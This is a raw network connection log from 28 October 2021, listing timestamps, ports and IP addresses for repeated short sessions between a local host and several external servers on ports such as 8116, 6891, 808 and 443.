Oct 28, 2021 04:45:55.358968973 CEST	49856	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:55.410649061 CEST	8116	49856	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:55.410852909 CEST	8116	49856	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:55.410991907 CEST	49856	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:55.412126064 CEST	49856	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:55.416306973 CEST	49856	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:55.416423082 CEST	49856	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:55.468224049 CEST	8116	49856	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:55.637662888 CEST	8116	49856	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:55.637696028 CEST	8116	49856	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:55.637873888 CEST	49856	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:55.646343946 CEST	49856	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:55.693147898 CEST	6891	49855	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:55.693195105 CEST	6891	49855	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:55.693454981 CEST	49855	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:55.696494102 CEST	49855	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:55.698256016 CEST	8116	49856	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:55.762927055 CEST	49857	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:55.762979984 CEST	443	49857	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:55.763206005 CEST	49857	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:55.763803005 CEST	49857	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:55.763820887 CEST	443	49857	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:55.820453882 CEST	49858	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:55.868654013 CEST	6891	49855	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:55.871822119 CEST	8116	49858	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:55.873378038 CEST	49858	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:55.874026060 CEST	49858	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:55.925049067 CEST	8116	49858	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:55.925376892 CEST	8116	49858	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:55.925561905 CEST	49858	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:55.926575899 CEST	49858	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:55.930331945 CEST	49858	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:55.930425882 CEST	49858	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:55.981523991 CEST	8116	49858	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:56.165853977 CEST	8116	49858	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:56.165891886 CEST	8116	49858	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:56.166316986 CEST	49858	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:56.169080973 CEST	49858	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:56.220215082 CEST	8116	49858	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:56.258622885 CEST	443	49857	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:56.258749962 CEST	49857	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:56.259504080 CEST	49857	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:56.259514093 CEST	443	49857	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:56.264394999 CEST	49857	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:56.264411926 CEST	443	49857	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:56.264516115 CEST	49857	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:56.264522076 CEST	443	49857	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:56.289316893 CEST	49859	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:56.289362907 CEST	443	49859	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:56.289480925 CEST	49859	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:56.290085077 CEST	49859	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:56.290106058 CEST	443	49859	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:56.819720030 CEST	443	49859	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:56.819914103 CEST	49859	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:56.820600033 CEST	49859	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:56.820624113 CEST	443	49859	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:56.826510906 CEST	49859	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:56.826539993 CEST	443	49859	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:56.826625109 CEST	49859	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:56.826682091 CEST	443	49859	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:56.956053972 CEST	443	49857	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:56.956150055 CEST	443	49857	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:56.956296921 CEST	49857	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:56.956329107 CEST	49857	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:56.962177038 CEST	49857	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:56.962224960 CEST	443	49857	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:57.074352980 CEST	49860	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:57.233640909 CEST	808	49860	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:57.233908892 CEST	49860	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:57.234544039 CEST	49860	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:57.393738031 CEST	808	49860	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:57.393765926 CEST	808	49860	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:57.394016981 CEST	49860	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:57.394992113 CEST	49860	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:57.397809982 CEST	49860	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:57.397902012 CEST	49860	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:57.539612055 CEST	443	49859	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:57.539721012 CEST	443	49859	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:57.539776087 CEST	49859	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:57.539803028 CEST	49859	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:57.543673992 CEST	49859	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:57.543700933 CEST	443	49859	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:57.554182053 CEST	808	49860	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:57.556998014 CEST	808	49860	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:57.557054996 CEST	808	49860	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:57.557120085 CEST	808	49860	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:57.557168007 CEST	808	49860	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:57.664896011 CEST	49861	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:57.828152895 CEST	808	49861	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:57.828280926 CEST	49861	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:57.828967094 CEST	49861	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:57.938209057 CEST	808	49860	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:57.938241959 CEST	808	49860	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:57.938309908 CEST	49860	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:57.938349009 CEST	49860	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:57.946788073 CEST	49860	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:57.992024899 CEST	808	49861	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:57.992109060 CEST	808	49861	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:57.992173910 CEST	49861	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:57.995850086 CEST	49861	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:58.000607014 CEST	49861	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:58.000711918 CEST	49861	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:58.089200020 CEST	49862	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:58.106039047 CEST	808	49860	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:58.158772945 CEST	808	49861	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:58.164767027 CEST	808	49861	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:58.164799929 CEST	808	49861	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:58.164815903 CEST	808	49861	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:58.254640102 CEST	6891	49862	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:58.254762888 CEST	49862	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:58.255728960 CEST	49862	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:58.421185970 CEST	6891	49862	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:58.421231031 CEST	6891	49862	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:58.421391964 CEST	49862	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:58.422066927 CEST	49862	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:58.426564932 CEST	49862	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:58.426692009 CEST	49862	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:58.554975986 CEST	808	49861	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:58.555011988 CEST	808	49861	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:58.555047989 CEST	49861	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:58.555078983 CEST	49861	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:58.557638884 CEST	49861	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:58.597378016 CEST	6891	49862	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:58.679529905 CEST	49863	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:58.720619917 CEST	808	49861	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:58.846484900 CEST	6891	49863	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:58.846632957 CEST	49863	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:58.847547054 CEST	49863	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:58.990158081 CEST	6891	49862	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:58.990186930 CEST	6891	49862	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:58.990298033 CEST	49862	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:59.001408100 CEST	49862	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:59.013891935 CEST	6891	49863	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:59.014055014 CEST	6891	49863	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:59.015039921 CEST	49863	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:59.015913010 CEST	49863	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:59.022779942 CEST	49863	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:59.022900105 CEST	49863	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:59.123712063 CEST	49864	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:59.166779995 CEST	6891	49862	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:59.173310041 CEST	8116	49864	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:59.173515081 CEST	49864	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:59.174067974 CEST	49864	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:59.189393997 CEST	6891	49863	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:59.189424038 CEST	6891	49863	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:59.223612070 CEST	8116	49864	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:59.223877907 CEST	8116	49864	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:59.223968983 CEST	49864	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:59.224674940 CEST	49864	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:59.229068995 CEST	49864	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:59.229432106 CEST	49864	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:59.278711081 CEST	8116	49864	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:59.278739929 CEST	8116	49864	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:59.451025009 CEST	8116	49864	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:59.451067924 CEST	8116	49864	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:59.451255083 CEST	49864	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:59.459789038 CEST	49864	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:59.509429932 CEST	8116	49864	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:59.568864107 CEST	6891	49863	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:59.568903923 CEST	6891	49863	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:59.568985939 CEST	49863	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:59.569030046 CEST	49863	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:59.571965933 CEST	49863	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:59.577831984 CEST	49865	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:59.577888966 CEST	443	49865	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:59.577997923 CEST	49865	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:59.578625917 CEST	49865	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:59.578650951 CEST	443	49865	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:59.681212902 CEST	49866	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:59.736300945 CEST	8116	49866	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:59.736531019 CEST	49866	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:59.737394094 CEST	49866	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:59.738387108 CEST	6891	49863	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:59.792246103 CEST	8116	49866	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:59.792397022 CEST	8116	49866	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:59.792526960 CEST	49866	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:59.793066978 CEST	49866	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:59.796817064 CEST	49866	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:59.796924114 CEST	49866	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:59.851667881 CEST	8116	49866	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:59.851892948 CEST	8116	49866	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:00.043153048 CEST	8116	49866	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:00.043193102 CEST	8116	49866	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:00.043358088 CEST	49866	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:00.046806097 CEST	49866	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:00.097501040 CEST	443	49865	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:00.097707033 CEST	49865	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:00.098532915 CEST	49865	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:00.098555088 CEST	443	49865	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:00.101792097 CEST	8116	49866	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:00.104047060 CEST	49865	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:00.104073048 CEST	443	49865	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:00.104149103 CEST	49865	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:00.104160070 CEST	443	49865	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:00.162894011 CEST	49872	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:00.162939072 CEST	443	49872	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:00.163043022 CEST	49872	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:00.163824081 CEST	49872	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:00.163840055 CEST	443	49872	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:00.690104008 CEST	443	49872	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:00.690227985 CEST	49872	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:00.691087008 CEST	49872	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:00.691107035 CEST	443	49872	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:00.697823048 CEST	49872	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:00.697839975 CEST	443	49872	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:00.698003054 CEST	49872	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:00.698014975 CEST	443	49872	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:00.809556007 CEST	443	49865	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:00.809638977 CEST	443	49865	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:00.809825897 CEST	49865	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:00.809838057 CEST	49865	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:00.820272923 CEST	49865	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:00.820322990 CEST	443	49865	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:00.932009935 CEST	49873	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:01.092932940 CEST	808	49873	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:01.093051910 CEST	49873	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:01.093843937 CEST	49873	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:01.254489899 CEST	808	49873	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:01.254574060 CEST	808	49873	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:01.254697084 CEST	49873	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:01.255357027 CEST	49873	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:01.258275032 CEST	49873	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:01.258397102 CEST	49873	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:01.410825968 CEST	443	49872	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:01.410926104 CEST	443	49872	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:01.411133051 CEST	49872	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:01.415018082 CEST	49872	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:01.415041924 CEST	443	49872	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:01.416363955 CEST	808	49873	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:01.418859005 CEST	808	49873	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:01.418940067 CEST	808	49873	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:01.418972969 CEST	808	49873	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:01.570915937 CEST	49874	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:01.740349054 CEST	808	49874	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:01.740684032 CEST	49874	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:01.741524935 CEST	49874	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:01.796933889 CEST	808	49873	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:01.796960115 CEST	808	49873	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:01.797162056 CEST	49873	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:01.797197104 CEST	49873	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:01.806567907 CEST	49873	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:01.910485983 CEST	808	49874	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:01.910557032 CEST	808	49874	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:01.912277937 CEST	49874	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:01.913074017 CEST	49874	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:01.918663979 CEST	49874	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:01.918781042 CEST	49874	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:01.940376043 CEST	49875	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:01.967757940 CEST	808	49873	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:02.081856012 CEST	808	49874	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:02.087476969 CEST	808	49874	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:02.087498903 CEST	808	49874	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:02.087508917 CEST	808	49874	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:02.105809927 CEST	6891	49875	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:02.106086969 CEST	49875	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:02.107057095 CEST	49875	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:02.272536993 CEST	6891	49875	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:02.272588968 CEST	6891	49875	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:02.273804903 CEST	49875	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:02.273839951 CEST	49875	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:02.280651093 CEST	49875	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:02.280889988 CEST	49875	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:02.446191072 CEST	6891	49875	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:02.446242094 CEST	6891	49875	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:02.446397066 CEST	6891	49875	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:02.478015900 CEST	808	49874	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:02.478049994 CEST	808	49874	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:02.478157997 CEST	49874	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:02.481441021 CEST	49874	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:02.602931023 CEST	49876	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:02.650264025 CEST	808	49874	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:02.769341946 CEST	6891	49876	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:02.769550085 CEST	49876	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:02.770864010 CEST	49876	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:02.831276894 CEST	6891	49875	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:02.831304073 CEST	6891	49875	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:02.831423044 CEST	49875	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:02.839457035 CEST	49875	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:02.938023090 CEST	6891	49876	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:02.938148975 CEST	6891	49876	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:02.938234091 CEST	49876	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:02.938863993 CEST	49876	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:02.943167925 CEST	49876	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:02.943332911 CEST	49876	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:02.971219063 CEST	49877	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:03.004892111 CEST	6891	49875	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:03.023897886 CEST	8116	49877	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:03.024069071 CEST	49877	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:03.024833918 CEST	49877	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:03.077467918 CEST	8116	49877	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:03.077502966 CEST	8116	49877	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:03.077626944 CEST	49877	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:03.078253984 CEST	49877	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:03.082731962 CEST	49877	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:03.082849979 CEST	49877	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:03.109575987 CEST	6891	49876	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:03.109605074 CEST	6891	49876	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:03.109622002 CEST	6891	49876	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:03.136996984 CEST	8116	49877	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:03.137253046 CEST	8116	49877	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:03.137614012 CEST	8116	49877	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:03.320070028 CEST	8116	49877	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:03.320106030 CEST	8116	49877	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:03.320228100 CEST	49877	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:03.320274115 CEST	49877	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:03.330265999 CEST	49877	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:03.382683992 CEST	8116	49877	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:03.446312904 CEST	49878	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:03.446371078 CEST	443	49878	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:03.446484089 CEST	49878	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:03.447156906 CEST	49878	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:03.447179079 CEST	443	49878	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:03.491247892 CEST	6891	49876	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:03.491272926 CEST	6891	49876	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:03.491401911 CEST	49876	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:03.491440058 CEST	49876	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:03.494925976 CEST	49876	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:03.617865086 CEST	49879	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:03.661252022 CEST	6891	49876	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:03.674251080 CEST	8116	49879	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:03.675132036 CEST	49879	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:03.675156116 CEST	49879	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:03.731332064 CEST	8116	49879	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:03.731755972 CEST	8116	49879	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:03.731847048 CEST	49879	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:03.732552052 CEST	49879	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:03.736813068 CEST	49879	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:03.736943007 CEST	49879	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:03.793608904 CEST	8116	49879	185.56.219.47	192.168.2.5
